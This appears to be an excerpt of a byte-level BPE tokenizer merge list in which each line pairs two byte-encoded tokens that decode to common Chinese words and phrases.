+è¡Į çĤº +注 åħ¥ +ä½ľä¸º ä¸Ģ个 +æ¯ı个人 éĥ½ +åįķ åħĥ +è¦ģ çŁ¥éģĵ +被 称为 +ä¹ĭ éĻħ +è§£ éϤ +ä¸ ¸ +æº « +ä¸ī æĺŁ +é²ľ æĺİ +ä¹Ł éĥ½ +æĹ¶ æľº +åĩº æīĭ +æĥħ å½¢ +åķĨ è´¸ +éĢī 举 +对 èĩªå·± +çĶŁ åĬ¨ +åħĭ æľį +个 ä½ĵ +èĭ ij +ç¨ ± +大 åݦ +æĺ¯ 对 +åĪ© æģ¯ +è¿IJåĬ¨ åijĺ +åĮĸ è§£ +åīį æ²¿ +æĦŁ æģ© +æĢ» ä¹ĭ +é«ĺæĸ° æĬĢæľ¯ +åĿĩ 为 +åħ¨ åĮº +æ°Ķ æ°Ľ +åı¯ä»¥è¯´ æĺ¯ +ä½ı 宿 +åħļåijĺ å¹²éĥ¨ +åĹ ¯ +è·µ è¡Į +çļĦ ä¸ĵä¸ļ +èĢĥ éªĮ +èķ ¾ +åħ¬ åŃIJ +çļĦ çĬ¶æĢģ +æ½® æµģ +ä¿¡ æīĺ +è´ ¼ +åIJĦ æĸ¹ +æķij åĬ© +éĿŀ常 çļĦ +æ¡¥ æ¢ģ +åħ¬ æĸ¤ +ä¼¼ çļĦ +çľĭ 好 +å±Ģ éĥ¨ +å®ī éĿĻ +éħį ä»¶ +常 è§Ħ +å¼Ģ 车 +第äºĮ 次 +ä¸Ĭ 级 +åıĤ èµĽ +å®¶ å±ŀ +强 åĬ¿ +åľ¨ ä»ĸ +åIJij åīį +ä¹ĭ åľ° +éĥ ¡ +è¡Į ç¨ĭ +èѦ åijĬ +è§Ħå®ļ çļĦ +åķĨ åŁİ +äºĶ 大 +æķĻ å®¤ +åįģ è¶³ +æīĢ以 åľ¨ +å°Ĩ ç»§ç»Ń +çŃī æĸ¹å¼ı +å®¶ ä¼ģä¸ļ +交 ä»ĺ +çĤ¹ è¯Ħ +ç»ĵ ç®Ĺ +ä¹Ł åı¯ +å¤ĸ æ±ĩ +è¿Ļç§į æĥħåĨµ +æİĪ äºĪ +å¸ĥ ç½® +æĪIJç«ĭ äºİ +é¢Ħ èѦ +管çIJĨ 人åijĺ +å©ļ 礼 +ç»ĵæĿŁ åIJİ +åħ¥ éĢī +æĹł æ¯Ķ +åĴĮ åıijå±ķ +çϽ éħĴ +çİ© åħ· +ä¸ĩ ç¾İåħĥ +çļĦ æĪIJ绩 +æĭį çħ§ +èĢĥèĻij åΰ +ä¼ģä¸ļ åıijå±ķ +äºĨ 个 +çĶŁ æ°Ķ +çļĦ 女人 +äºĶ åįģ +çĪ· çĪ· +纽 约 +éĥ½ 被 +ä¸Ĭ 课 +çĽ ¡ +ä¼łç»Ł æĸĩåĮĸ +æ½ľ åľ¨ +åıij å°Ħ +ä¸Ģ 身 +éĺ² å®Ī +åĪ ® +é¢ĺ 缮 +åľ¨ åĨħçļĦ +ç¾İ 好çļĦ +è¿ĻéĩĮ çļĦ +ä¸Ģ ä¸Ŀ +人 åĿĩ +åĢ¡ 导 +身 åIJİ +æī© å±ķ +大 éŨ +å°± 被 +该 é¡¹çĽ® +æŀ¶ æŀĦ +ä¸Ģ åı£ +ä¿¡æģ¯ æĬĢæľ¯ +å¼Ģ ä¸ļ +æĶ¶ åıĸ +ç½ij 页 +æĶ¯ æı´ +å°ģ éĹŃ +å¡ij éĢł +大 èĥĨ +å¿«éĢŁ åıijå±ķ +çľĭ ä¼¼ +æ¸ Ŀ +è¿Ļæł· ä¸Ģ个 +模 åĿĹ +注æĦı åΰ +çł´ è§£ +èĩª ä»İ +åijµ åijµ +ä¹ĭ å¾Į +ä¹ĭ æĹħ +è·Ł æĪij +æ³ķ 人 +æİĴè¡Į æ¦ľ +åĿļ å®Ī +好 å¤Ħ +çŁ³ 头 +å¹¶ å°Ĩ +èĪ ± +æŃ ĩ +两 岸 +å¤ļ ä¹ħ +象 å¾ģ +个æĢ§ åĮĸ +çļĦ è§Ĵ度 +å¸ Ĩ +ç¦ı å·ŀ +æŁ¥ å¤Ħ +两 åĽ½ +åIJ¸å¼ķ äºĨ +é¦ĸ å¸Ń +大 åĵ¥ +é¤ Ĭ +涨 å¹ħ +éĢī ç͍ +許 å¤ļ +èIJ½ æĪ· +åĵĪ å°Ķ +åĵĪå°Ķ 滨 +åģļ ä»Ģä¹Ī +以 åħį +é¾ į +æĹł éľĢ +åΰåºķ æĺ¯ +æĢ ¡ +åijĬè¯ī ä½ł +éĺ² æ°´ +è¿Ļ æĹ¶åĢĻ +欢 ä¹IJ +转 åIJij +è¿Ļ个 åľ°åĽ¾ +åħ¥ é©» +èįī åİŁ +æĹ¶ä»£ çļĦ +åıĺ åĬ¨ +åĬłå¼º 对 +åģ¶ å°Ķ +å®Ī æĬ¤ +æ°Ķ 温 +人 éĹ´ +æľĿ é²ľ +ç»ı è´¹ +åĽŃ æŀĹ +å·¥ åľ° +è§Ħ æł¼ +åĩł åįģ +è¯ķ åĽ¾ +å¦ ĥ +éĤ£ æĹ¶åĢĻ +å¼ĺ æī¬ +ä¸ļ çķĮ +çļĦ éĢŁåº¦ +ä¼ļ ä¸įä¼ļ +èIJ¥ æĶ¶ +å°ıå¾® ä¼ģä¸ļ +çľĭ è¿ĩ +æĬĬ ä»ĸ +éģµ å¾ª +è¿Ļ è¾¹ +没æľī 人 +å£ ¶ +æ¹ĸ åįĹçľģ +æŀģ åħ¶ +çļĦ人 çĶŁ +ä»ĸ è¿ĺ +转åĮĸ 为 +èµ° è¿ĩ +æĬ± çĿĢ +çīĽ å¥¶ +ä¸ĩ 亩 +å¿ĥ æĢģ +æĹ¥å¸¸ çĶŁæ´» +ä½ĵ æ£Ģ +æĻ ĥ +çŃī é¢ĨåŁŁ +æĩī 該 +åı¯ä»¥ çľĭåΰ +æī¾ ä¸įåΰ +èĢģ å¹´ +æĬĬ æĪij +积 åĪĨ +梳 çIJĨ +ç» ³ +çļĦ æĶ¿æ²» +å¸Ŀ åĽ½ +éĻª ä¼´ +æ´Ľ éĺ³ +åħ¬ æŃ£ +å¼Ģ åı£ +çī¹èī² çļĦ +åĽ° å¢ĥ +ä¸Ĭ æľī +ç«ĭ ä½ĵ +æīĵ å·¥ +åķ¤ éħĴ +åľ¨ éĤ£éĩĮ +éĤ£ è¾¹ +个 åĪ« +ä¸Ģå®ļ æĺ¯ +çļĦéĩįè¦ģ æĢ§ +主 å¼ł +åĴĮ æľįåĬ¡ +ä¸Ĭ ç½ij +è¡¥ åĬ© +åıª éľĢ +å¼ ¦ +éģ ® +åĬĽ äºī +度 è¿ĩ +èij ¬ +é¡¿ æĹ¶ +éĦ ī +纺 ç»ĩ +åľ° åĿĹ +ä¿¡ç͍ åį¡ +ç½ļ 款 +åijĬè¯ī æĪij +éĽ Ļ +书 çĶ» +è¨Ń è¨Ī +æĢ» ä¼ļ +åΤ åĨ³ +ä¿¡ èªī +个 èĤ¡ +å¹³ 常 +æĢİ éº¼ +ä½ĵ çİ°åľ¨ +é»Ħ æ²³ +åĽĽå·Ŀ çľģ +羣 缸 +åIJĦ项 å·¥ä½ľ +åĬ¨ åijĺ +å³° ä¼ļ +ä¸Ģ æľŁ +æľī ä¸Ģå®ļçļĦ +é«ĺ度 éĩįè§Ĩ +ç¹ģ èᣠ+åıijçݰ äºĨ +ç½ij 红 +æīĭ æ³ķ +å®¶ åĽŃ +仪 åύ +è¾ĥ ä½İ +çļĦ å®īåħ¨ +æ¡ IJ +ä»ĺ 款 +æĬij åζ +åįĵ è¶Ĭ +æŃ£ éĿ¢ +åĵ ij +强 åζ +ä»Ĭ天 çļĦ +æĪĺ èĥľ +楼 å¸Ĥ +æĭ¿ ä¸ĭ +é¢ľ å̼ +举 éĥ¨ +çłĶ åζ +çļĦ æĪĺçķ¥ +åľ¨ ä¸Ģ个 +ä¸ī 人 +å®Į äºĨ +æĸ° æĬĢæľ¯ +ç»ıæµİ æķĪçĽĬ +å¯Į æľī +æ¾³ æ´² +åĬ© çIJĨ +é¢Ĩ åıĸ +è° Ń +çĩĥ çĥ§ +ç´ł åħ» +éĤĦ æľī +è¿Ľ èĢĮ +ä»Ģä¹Ī æĺ¯ +çłĶç©¶ ä¸Ńå¿ĥ +éĢĤ ç͍äºİ +æİ¥ æĶ¶ +失 æľĽ +äºĮ 级 +éĹ´ çļĦ +åİŁ æłĩé¢ĺ +èªį çĤº +æį ¡ +对 çĿĢ +对 éĿ¢ +ä¸Ń åİŁ +éĵ ĥ +çĶŁäº§ çļĦ +åıijå¸ĥ ä¼ļ +士 åħµ +è¿Ļ åı¥è¯Ŀ +ç¼´ 纳 +ä¸Ģ个 个 +åѸ çĶŁ +çĸij éĹ® +交 èѦ +示èĮĥ åĮº +天 使 +åľ¨ ä¸Ĭæµ· +åIJĮ æĻĤ +è½» æĺĵ +å͝ä¸Ģ çļĦ +çĥŃ éĹ¹ +ä¹IJ è§Ĥ +çļĦ 身份 +åĸĦ äºİ +大 åİħ +èĤ¯å®ļ æĺ¯ +éĺ² çģ« +å¤ĸ åĩº +æį® 说 +é¡¹çĽ® çļĦ +ä¸Ģ åı° +èĻļ åģĩ +ä¸Ģ ç¬Ķ +ç«ĭ æ³ķ +严 èĤĥ +æī¿ åĬŀ +åįģ åĩł +çļĦ 空éĹ´ +æľ¬ ç½ijç«Ļ +åģļ å¾Ĺ +ä¿Ŀ 温 +æľĪ åĪĿ +åľ¨ ç½ijä¸Ĭ +åIJĦ æĸ¹éĿ¢ +ä¸ī 天 +交æĺĵ æīĢ +è§£ æŀIJ +åħļ ä¸Ń央 +è¿Ľ åĩºåı£ +åĴĮ 社ä¼ļ +次 æķ° +ä¹ĭ å®¶ +ç»´ 度 +æ´¾åĩº æīĢ +产çĶŁ äºĨ +带 æľī +å¾Ī 强 +æľīäºĽ 人 +å¹´ åIJİ +äºĨ 许å¤ļ +å¯Ĩ 度 +åѦ æľŁ +çıł æµ· +æľĢå¤ļ çļĦ +è¾¹ ç¼ĺ +容 éĩı +第äºĮ 个 +ä¸Ģ缴 æĺ¯ +ä¸į ç¦ģ +æŃ ² +ä»ĭç»į äºĨ +ä¼ĺ éĽħ +æ¯Ķ è¼ĥ +èģĮ ä½į +温 æŁĶ +æľī éĴ± +æľĢ é«ĺçļĦ +åįļè§Ī ä¼ļ +ä¸į æĪIJ +éĶĻ äºĨ +è¯ģ çĽij +è¯ģçĽij ä¼ļ +æĪIJ 人 +åĿĩ åĮĢ +æľī åĪ© +è¶Ĭ åįĹ +æīĵ äºĨ +好 åIJĥ +ç³» çµ± +è·Ł éļı +çļĦ åľ°ä½į +æŃ£ å¦Ĥ +ç¨į å¾® +åį° åıij +åĪĽ ç«ĭ +é£İ åħī +å°Ĩ æĪIJ为 +ä¸į é«ĺ +é¢ij ç¹ģ +设 æľī +ä¼ ŀ +æĭĨ éϤ +å½± åĥı +æ¸Ĺ éĢı +å¹´ å¼Ģå§ĭ +ç½ij æĺĵ +è¦ģ åģļ +ç͵åĬ¨ 车 +羣 å¿ĥ +æµ· åĨĽ +ä¼ł æĿ¥ +å·® åĪ« +è°¨ æħİ +çĥŁ åı° +åįĥ å¹´ +è¯ģ å®ŀ +çIJ ª +çļĦ åħ·ä½ĵ +åΰ å¤Ħ +ä¸į å®ľ +èľ Ģ +èĥ½åĬĽ åĴĮ +çīº çī² +çļĦ éĴ± +大 éĺŁ +é¦ĸ è¦ģ +ä¸į æĦ¿ +çİ« çij° +人æ°ij ç½ij +è¿ĺæĺ¯ è¦ģ +åĽĽ å¹´ +æį٠伤 +çļĦ åģļæ³ķ +éĿ Ī +è¡Ķ æİ¥ +åIJĪ æĪIJ +没 人 +éŨ æ§Ľ +ä¿¡ è´· +çļĦ 缸åħ³ +举 é£İ +社 ä¿Ŀ +ä¸ĭ 游 +åĿĹ éĴ± +è¿ĩ åIJİ +çļĦ åºĶç͍ +é¥ ¶ +é¢ģ åıij +ä¸Ģ å¤Ħ +åįİ å¤ı +为 ä¼ģä¸ļ +åıª ä¼ļ +ä¾µ 害 +çļĦ åĬŁèĥ½ +åѸ ç¿Ĵ +ä¸Ńåįİ æ°ijæĹı +åıijå¸ĥ äºĨ +è¿İ æİ¥ +æĪij èĩªå·± +è¿ĺ éľĢè¦ģ +太éĺ³ èĥ½ +åİ» ä¸ĸ +æĺ¯ ä½ł +åIJĪ åĬĽ +ç»ĺ çĶ» +åı° åĮĹ +çĿ£ ä¿ĥ +åĮĹ éĥ¨ +æľī å¤ļå°ij +å¾Ī éĩįè¦ģ +åĪĴ åĪĨ +åı· 线 +æĶ¾ 大 +ä¼ļ 被 +èİ· å¥ĸ +ä¹ĭ åĨħ +失 åİ»äºĨ +çݩ家 们 +éĩĩ éĽĨ +å£ ¹ +å®¶ ä¼Ļ +çϽ 天 +åĽłä¸º ä»ĸ +社ä¼ļ æ²»çIJĨ +å¼Ģ åĪĽ +ç͵ ç¼Ĩ +æĸ° ä¸Ģ代 +å¹¶ è´Ń +å°± å·²ç»ı +çļĦ 社ä¼ļ +éϤ éĿŀ +åı¯ä»¥ ç͍ +å© ī +æ¯Ķè¾ĥ 好 +å®ŀ ä¸ļ +åĪĽ åĬŀ +æıIJ èµ· +é» ĥ +ä½ı åľ¨ +å¸Ĥ æĶ¿ +éĿ¢ä¸´ çļĦ +èĥ½ åľ¨ +çŁŃ çŁŃ +羣 人 +æĺİ æĺİ +èµĦ åĬ© +çļĦ ä¸įåIJĮ +å°ı æľĭåıĭ +é¢ĺ æĿIJ +ç¾İ åij³ +æĺŁ åº§ +ä¸į ä¸Ģæł·çļĦ +çľĭ ä¸Ĭåİ» +ä¸Ģ æł¹ +广 å·ŀå¸Ĥ +åıijçĶŁ çļĦ +é«ĺ ç§ijæĬĢ +ä¸Ģ è¾ĪåŃIJ +交 åıī +ä½ĵç³» 建设 +åĽłä¸º æĪij +çıį æĥľ +ä¸Ĭ åѦ +æĪĺ æľ¯ +æŃ¤ ç±» +交 å¾Ģ +æĮī æij© +人们 çļĦ +åħ¶ 實 +åİŁ æĿIJæĸĻ +渴 æľĽ +缸 å¤Ħ +å¾® å¾® +æ® · +ä¹ĺ åĿIJ +å¼Ģå±ķ äºĨ +é«ĺ åĵģè´¨ +æĹłäºº æľº +ä¸įæĺ¯ å¾Ī +çļĦ æĬķèµĦ +èĬĤ çľģ +èĩ ī +ç²¾ éĢī +çļĦ æłĩåĩĨ +åįĹ éĥ¨ +认è¯Ĩ åΰ +å¹³ éĿĻ +èĹ ¥ +æī« é»ij +æī«é»ij éϤ +æī«é»ijéϤ æģ¶ +éĢĻ ç¨® +建çŃij éĿ¢ç§¯ +ç¡® ç«ĭ +管çIJĨ åĬŀæ³ķ +æĦı å¿Ĺ +ä¸ ¨ +让 åŃ©åŃIJ +æķij çģ¾ +å½ĵ ä»Ĭ +çģ« çģ¾ +åIJĦ éĥ¨éŨ +ä¾µ çĬ¯ +æ¯ı åij¨ +æı ½ +ä¸Ģ次 æĢ§ +åħ¶ä»ĸ 人 +éĶĻ è¿ĩ +ä¸İ åħ¶ +åĭĩ æ°Ķ +çĩĥ æ°Ķ +é¦ĸ å±Ĭ +æľį 饰 +ç² ¥ +å®Į æ¯ķ +å°± æĬĬ +åĬŀäºĭ å¤Ħ +ä¸Ģä¼ļ åĦ¿ +离 ä¸įå¼Ģ +å¦Ĥæŀľ æĤ¨ +ä»ĵ åºĵ +导 å¸Ī +åIJĪéĢĤ çļĦ +毫 ç±³ +å®īåħ¨ æĢ§ +ä¾Ŀ çħ§ +产ä¸ļ åĮĸ +ä½ł çľĭ +羣çļĦ å¾Ī +åѤ çĭ¬ +éĺ² å¾¡ +å¾Ī ç®Ģåįķ +é£İ æ°´ +ä½Ĩ ä¹Ł +æİ¨ åĩºäºĨ +æ°ijèIJ¥ ä¼ģä¸ļ +çłģ 头 +å¤įæĿĤ çļĦ +ç»ĦæĪIJ éĥ¨åĪĨ +åħħ满 äºĨ +è¿ij åĩłå¹´ +çľģ æĶ¿åºľ +æľī å¿ħè¦ģ +éĻ ³ +ä¹ĭ ç±» +ä¹ĭç±» çļĦ +æĢ§ ä»· +æĢ§ä»· æ¯Ķ +åķĨ åºĹ +å¸Ĥ å̼ +人æīį åŁ¹åħ» +æ·± åıĹ +管çIJĨ å±Ģ +æģIJ æĥ§ +ä»ħ æľī +æĬµ è¾¾ +æµ· åħ³ +èµĭ äºĪ +äºĭ åĦ¿ +ä»· éĴ± +æīĭ ä¸Ĭ +èĩª å¾ĭ +åħ³ çα +享 æľī +éģĹ æĨ¾ +å¾Īå¿« å°± +æĽ´ å¿« +æłĩ è¯Ĩ +åºĨ ç¥Ŀ +ä¹Ł 好 +ä¸į æĺĵ +æĪij å¾Ī +æĶ¹éĿ© åıijå±ķ +å¤ĸ åľ° +æĬµ æĬ¼ +è¯Ĺ 人 +åİķ æīĢ +æĸ° åªĴä½ĵ +èĸ Ľ +è°Ī è¯Ŀ +ä¸Ģå®ļ ç¨ĭ度 +èµ° åľ¨ +æľĢ 强 +åĬŁ çİĩ +åħ± è¯Ĩ +大 æ¡¥ +ä¸ĭ æĸ¹ +å¤ĸ èµĦ +ç¢ ± +å·¡ è§Ĩ +æ¹ĸåĮĹ çľģ +个 çϾåĪĨ +个çϾåĪĨ çĤ¹ +çļĦ 责任 +çļĦ åĵģçīĮ +åĬ© æİ¨ +åĪĽéĢł äºĨ +ä»» èģĮ +å¿« æį· +æĿij åºĦ +åİ» çľĭ +æīį èĥ½å¤Ł +å± ¤ +æĪij å®¶ +æĺ¯ä¸Ģ 款 +ç¾ ħ +åĨ° éĽª +æŀģ 大 +çģ¯ åħī +éĨ ĭ +ä¸İ åħ¶ä»ĸ +æıIJåĩº çļĦ +éĿł è¿ij +è°ĥ åĬ¨ +å°½ åı¯èĥ½ +åıij åĬĽ +ç»Ļ 她 +éĢĤ éĩı +è·¨ åĽ½ +åħĪ è¡Į +æĸ° æĿIJæĸĻ +ä½ľ äºĨ +满 äºĨ +ä¸į 满 +çļĦçľ¼ çĿĽ +çľĭ å¾Ĺ +è¿Ļ ä¸Ģ次 +é½IJ åħ¨ +çļĦä¸Ģ éĥ¨åĪĨ +ä¸ Ļ +æ¸ħ æĸ° +說 æĺİ +身边 çļĦ +æīĢæľī 人 +å½° æĺ¾ +è± ¹ +åį ¿ +è¿IJ 转 +æĮĩ å¼ķ +å¸Ĥ åħ¬å®īå±Ģ +åıĤ å±ķ +ä¹ĭ æĹ¶ +éĩijèŀį æľįåĬ¡ +èµĦæľ¬ å¸Ĥåľº +èĥ½ 让 +å¿ĺ äºĨ +天 åłĤ +æ¯Ķå¦Ĥ 说 +éĬĢ è¡Į +èĽĭ ç³ķ +çĶ © +æł¸ å®ŀ +æĻ® 京 +ä¼ĺ ç¾İ +åı£ èħĶ +漫 çĶ» +çľ¼ éĩĮ +äºĨ ä¸ĭæĿ¥ +æĪij们 ä¹Ł +ä¾ į +为 ä¸Ńå¿ĥ +å¥ĩ 迹 +éĿĴ çĿIJ +æĪªèĩ³ 缮åīį +åĩº ä¾Ĩ +æĢ» åħ¬åı¸ +å¼¥ è¡¥ +ç®Ĺ æ³ķ +å·¥ä½ľ 室 +æīĢ以 æĪij +æ°´ åĪĨ +æīĢ å±ŀ +ä¸į 说 +ä½Ĩæĺ¯ åľ¨ +è¦ģ åİ» +åĪĽä¸ļ èĢħ +ä¸į æ¸ħæ¥ļ +åĽĽ åij¨ +æĺ¯ ä»İ +çļĦ æł¹æľ¬ +çģ ¶ +æ¯Ľ æ³½ +æ¯Ľæ³½ 举 +æµ· åı£ +åĽĽ åįģ +ä¹Ł 被 +èģ · +ä¸Ģ æīĭ +绩 æķĪ +çļĦ çĶ·äºº +书 ç±į +ä¸Ģ èĦ¸ +大 äºİ +鼶 éĥ¨ä»¶ +åħ³ æĢĢ +å¹³ ç±³ +æļ´ éľ² +å¾Ĺ å¤ļ +ä¸ī 级 +æľ¬ åij¨ +两 èĢħ +对 ä¸ŃåĽ½ +åıª è§ģ +欧 ç¾İ +å¦Ĥæŀľ æľī +å·²ç»ı æĺ¯ +çľĭ å®Į +çģ« éĶħ +èµ IJ +ä¸Ģ éģį +æĦŁ åĨĴ +ç»ĵ å±Ģ +ä»ĵ åĤ¨ +å®ŀ åľ° +å̻ ç»ıçIJĨ +ä¹Łä¸į çŁ¥éģĵ +碰 åΰ +åIJĪ è®¡ +客æĪ· çļĦ +ç½Ĺ 马 +æĦī å¿« +é£ Ľ +çĥŃ çĥĪ +伦 æķ¦ +åĮ» ä¿Ŀ +éĺ¿éĩĮ å·´å·´ +åĨį 说 +为 åŁºç¡Ģ +çĶŁäº§ ç»ıèIJ¥ +è¿ĻäºĽ 人 +åĪĹ è½¦ +æ²³åĮĹ çľģ +è¿Ļ 段 +æ´»åĬ¨ ä¸Ń +å© · +çĶŁ çIJĨ +ä¸ŃåĽ½ 人æ°ij +éĦ Ĥ +åIJ¬ åıĸ +å¤į ä¹ł +æľī çĽĬ +æĶ¶ æĭ¾ +å¾Ī åı¯èĥ½ +ç½ij绾 游æĪı +们 çļĦ +èµĭ èĥ½ +éļ¾ å¾Ĺ +åĪĨ æīĭ +羣 è¯ļ +åħ¬åı¸ åľ¨ +åĿĩ è¡¡ +åı£ åij³ +çīµ å¤´ +ä¸Ģèά çļĦ +轿 车 +çŃī äºİ +æ²ī é»ĺ +æĪij éĥ½ +å°ı ç¨ĭåºı +ä¸Ģ åī¯ +æī¿ è½½ +åľ° è´¨ +çķĮ éĿ¢ +ç͵ æľº +çĦ¦ èĻij +éĶĢåĶ® é¢Ŀ +æĸ° 车 +ä¸Ĭ 游 +主 æ¼Ķ +éļIJ ç§ģ +åıijå±ķ æĪĺçķ¥ +çļĦ åĬªåĬĽ +å¼Ģ åħ³ +è§£åĨ³ éĹ®é¢ĺ +çĿ£ 导 +对 æĬĹ +å¾Īå¤ļ 人éĥ½ +æĹł æķĪ +产åĵģ è´¨éĩı +å®ī å¿ĥ +åįİ äºº +ä¸į 符åIJĪ +èĩª å®¶ +éĺµ å®¹ +çļĦ åIJĦç§į +çļĦ çIJĨ念 +çļĦ æĸĩåĮĸ +为 èĩªå·± +å±± æ°´ +游 æ³³ +éľĩ èį¡ +çĶŁæ´» æĸ¹å¼ı +è¿ľ 离 +çŁ³ åĮĸ +æŃ¤ äºĭ +æĺ¯ 羣çļĦ +çļĦ æ¯Ķä¾ĭ +ç͍ ç͵ +奥è¿IJ ä¼ļ +ä¿Ŀ å®ī +èĽĭçϽ è´¨ +çļĦ å¿ĥçIJĨ +å· « +åı· çłģ +æ°Ķ ä½ĵ +åıij æĶ¹ +åıijæĶ¹ å§Ķ +åĮ» å¸Ī +æ¶Ĥ æĸĻ +æĺ Ĭ +å¸Ĥ 级 +ä¸ĸçķĮ çļĦ +åĪĨåĪ« æĺ¯ +çł´ 产 +ä¸Ģ æĿ¯ +æĭī å¼Ģ +å¹³ åĩ¡ +çļĦ åıijçĶŁ +åĬ¨ æīĭ +ä¸Ģ缴 以æĿ¥ +æīĭ å·¥ +éĩĮéĿ¢ çļĦ +æĹł åħ³ +ä»ĭ åħ¥ +èµ° ä¸Ĭ +å°±æĺ¯ è¦ģ +å¹´ éĹ´ +åĩº çı¾ +å½± éŁ¿ +å¹ħ 度 +éĽ ģ +éģĵ åħ· +缮çļĦ åľ° +åIJİ èĢħ +ä¸Ĭ æ¼Ķ +äºĨ åĩł +æ®ĭçĸ¾ 人 +å¿Ļ ç¢Į +æĺ¯åIJ¦ æľī +å¹¶ 对 +ä¼ļ 导èĩ´ +æ°´ åºĵ +ç»Ĩ èĩ´ +åIJİ æĤĶ +å¿ĥ æĢĿ +åģļ äºĭ +åİĤ æĪ¿ +çĿ ¿ +è¿IJèIJ¥ åķĨ +头 éĥ¨ +çļĦ è§Ĵèī² +æĺ¯ ä»ĸ +æĹ¢ æľī +å°ıæĹ¶ åĢĻ +强 åĬ² +主 æĴŃ +åħ¨åĽ½ åIJĦåľ° +æį ı +æįŁ åĿı +åķĨ ä¼ļ +ä¿Ŀ ç½Ĺ +çľģ å¸Ĥ +éļ§ éģĵ +æľī ä¸įå°ij +è¦ģ åľ¨ +建设 é¡¹çĽ® +ç³ĸ å°¿ +ç³ĸå°¿ çĹħ +æĿ¡ä»¶ ä¸ĭ +ä¼ĺè´¨ çļĦ +é¦ĸ åıij +å½ĵæĹ¶ çļĦ +丰 çͰ +大 çĽĺ +缸 ç»§ +å®ģ å¤ı +åħ¥ ä½ı +æĪij è¿ĺ +åħĭ æĸ¯ +å®ļ ä»· +å¹³æĸ¹ åħ¬éĩĮ +çļĦ çŁ¥è¯Ĩ +æĪij们 ä¼ļ +åħĥ å®Ŀ +ä½ĵ éĩį +è³ £ +对 æĪij们 +çŁ³ å®¶ +çŁ³å®¶ åºĦ +ç²¾ åįİ +å½¢ çĬ¶ +åıĹ åΰäºĨ +ä¿® 订 +ç¾İ åľĭ +é«ĺ æ¸ħ +çľ¼ éķľ +è§īå¾Ĺ èĩªå·± +带 ç»Ļ +åĶ® ä»· +éŨ 票 +åŃķ å¦ĩ +ç͵è§Ĩ åı° +åıij ä½ľ +çļĦ åij³éģĵ +éķ¿ è¿ľ +åħ¬åħ± æľįåĬ¡ +æŃ£å¸¸ çļĦ +æľī è¿ĩ +é£İ æĥħ +æ¯Ķ éĩį +åIJ » +管çIJĨ å·¥ä½ľ +综åIJĪ æĢ§ +å·² 被 +说 èµ· +æİĴ æ°´ +ä¸įæĸŃ åľ° +æĥħ æĢĢ +è¾ĵ éĢģ +è¿ĩ æķı +çļĦ åı¯èĥ½æĢ§ +æľį ç͍ +æľī 许å¤ļ +å§Ķ åī¯ä¹¦è®° +åĮĸå¦Ĩ åĵģ +æļĤ åģľ +æĬķèµĦ 人 +çıŃ çº§ +说 çĿĢ +åįĹ åĮĹ +åĪĨ è¡Į +çıł å®Ŀ +å¯ ¶ +å¢ŀ å¤ļ +被 åĬ¨ +ç®Ĭ çļĦ +éĹľ ä¿Ĥ +çļĦ èĦ¸ +æĥ Ł +ä¸į ä¸Ģå®ļ +ç¶ Ń +çģ« çĪĨ +ç§Ł éĩij +çŀ § +éĩį 建 +è· ª +ä¸Ģ 種 +çļĦ åIJĪä½ľ +å®ī æħ° +ä»į æĺ¯ +ä¸ĵä¸ļ åĮĸ +è°ĥ è§£ +ä¸į 妨 +éĢĻ æĺ¯ +å¿ħ éłĪ +ä¼Ĭ æľĹ +å¾Ĺ äºĨ +æľįåĬ¡ å¹³åı° +å§ ¬ +åħĪ éĶĭ +çİĭ åŃIJ +çļĦä¸Ģ åĪĩ +æĢ» çIJĨ +åĵ ¼ +çª ij +çļĦå¿ĥ æĥħ +çļĦ éĩį大 +çij Ł +ä¸Ģ ç¬ij +åıijå±ķ ä¸Ń +åģ¥åº· åıijå±ķ +åĵģçīĮ çļĦ +ç¦ ® +ä½Ļ 人 +ä»Ĭå¹´ 以æĿ¥ +æķ° çłģ +çѾ è¯ģ +åİ» æī¾ +åŁºéĩij ä¼ļ +æĬ± æĢ¨ +æŃ£ å½ĵ +çıŃåŃIJ æĪIJåijĺ +ä¸į åIJĪæł¼ +åζ å®ļäºĨ +ç¼ĵ æħ¢ +åζ 约 +æłı 缮 +å¸Ĥåľº ç»ıæµİ +ç»ĦæĪIJ çļĦ +严 å³» +æĹ¥ 讯 +ä¸ĢçĤ¹ çĤ¹ +æĺ¯ æĢİä¹Ī +çļĦ çħ§çīĩ +éĺ» æŃ¢ +模 ç³Ĭ +ç¼ ¸ +éģķ åıį +æIJ¬ è¿ģ +éĩij éĴ± +å½ ¬ +ä¸į å®ī +æĪĺçķ¥ åIJĪä½ľ +å¡« åĨĻ +讲 ç©¶ +åħħåĪĨ åĪ©ç͍ +èĥ½ å¤ł +èij¡èIJĦ éħĴ +éĩĩç͍ äºĨ +åľ¨ ä»Ĭå¹´ +ä¸Ńå°ı åѦ +åľ¨ æĦı +çļĦ åİĭåĬĽ +ä¸į 幸 +åζ èᝠ+åı¯ä»¥ 让 +被 è¯Ħ为 +ç»Ĩ èıĮ +æĪı åī§ +åįĬ 导 +åįĬ导 ä½ĵ +è§Ĩ è§Ĵ +åĸľ æŃ¡ +å¾ģ æĶ¶ +è°ĭ åĪĴ +æŀģ 大çļĦ +çĤ¹ èµŀ +è®°èĢħ ä»İ +两 åIJį +èĩª åĬ© +èµ· æŃ¥ +æĬ¤ 士 +å®Ŀ 马 +太 åŃIJ +å°ıå°ı çļĦ +温 æ³ī +åĩºç§Ł 车 +ç§Ł æĪ¿ +两 å®¶ +éľĩ æĴ¼ +ç§ī æī¿ +ä¸Ģä»¶ äºĭ +çĥΠ士 +å®ĺ åħµ +转 身 +ä¹IJ åĽŃ +çĻĮ çĹĩ +模 èĮĥ +æĦ £ +è¿ĩåİ» çļĦ +代 ä»· +çļĦ æ¦Ĥ念 +åĩł çϾ +è´µ éĺ³ +æĭħ å¿§ +éĢĤ å®ľ +çݯå¢ĥ ä¿ĿæĬ¤ +çĥ « +ä½ł æĥ³ +æŃ¤ åIJİ +ä½ł ä¹Ł +çį İ +éϤ æŃ¤ +éϤæŃ¤ ä¹ĭå¤ĸ +è°ĥ 度 +ç§ij 缮 +æīĢ说 çļĦ +åĬ ĩ +忽 è§Ĩ +ä¸ī 次 +ä¸Ģ æĹ¥ +åŀĤ 缴 +ç«ŀ æĬĢ +éĿ¢ åĮħ +大 æĪĺ +æIJº 带 +å¦Ĥæŀľ 没æľī +åħ» æĪIJ +åĩº è¡Ģ +çα好 èĢħ +æīĵ éĢļ +èµ· è¯ī +åijĪ çݰåĩº +æŃĮ æīĭ +åľ¨ å¤ĸ +é¢Ĩ导 å¹²éĥ¨ +åĨ ¥ +èĪĨ 论 +æıIJ åıĸ 